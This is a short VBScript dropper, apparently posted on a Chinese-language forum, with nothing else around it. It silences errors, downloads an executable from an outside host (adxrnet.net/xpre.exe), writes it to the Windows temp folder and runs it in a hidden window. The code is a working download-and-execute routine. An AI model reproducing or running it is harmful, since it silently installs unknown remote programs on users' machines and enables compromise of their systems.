- on error resume next
- Function DownloadExecute(source, target)
- on error resume next
- Dim wobj, eobj, sobj, xobj, aobj, eloc, tfold, tfile, binstring, response, i
- Set wobj = CreateObject("WScript.Shell")
- Set sobj = CreateObject("Scripting.FileSystemObject")
- If VarType(xobj) <> vbObject Then Set xobj = CreateObject("MSXML2.XMLHTTP")
- If VarType(xobj) <> vbObject Then Set xobj = CreateObject("Microsoft.XMLHTTP")
- If sobj.FileExists(eloc) = False Then
- xobj.Open "GET", source, False
- xobj.Send
- response = xobj.ResponseBody
- For i = 1 To LenB(response)
- binstring = binstring & Chr(AscB(MidB(response, i, 1)))
- Next
-
- Set tfold = sobj.GetSpecialFolder(2)
- Set tfile = tfold.CreateTextFile(target)
- tfile.Write binstring
- tfile.Close
- End If
- wobj.run tfold & Chr(92) & target, 0
- End Function
- Call DownloadExecute("http://adxrnet.net/xpre.exe", "xpre.exe")
复制代码 |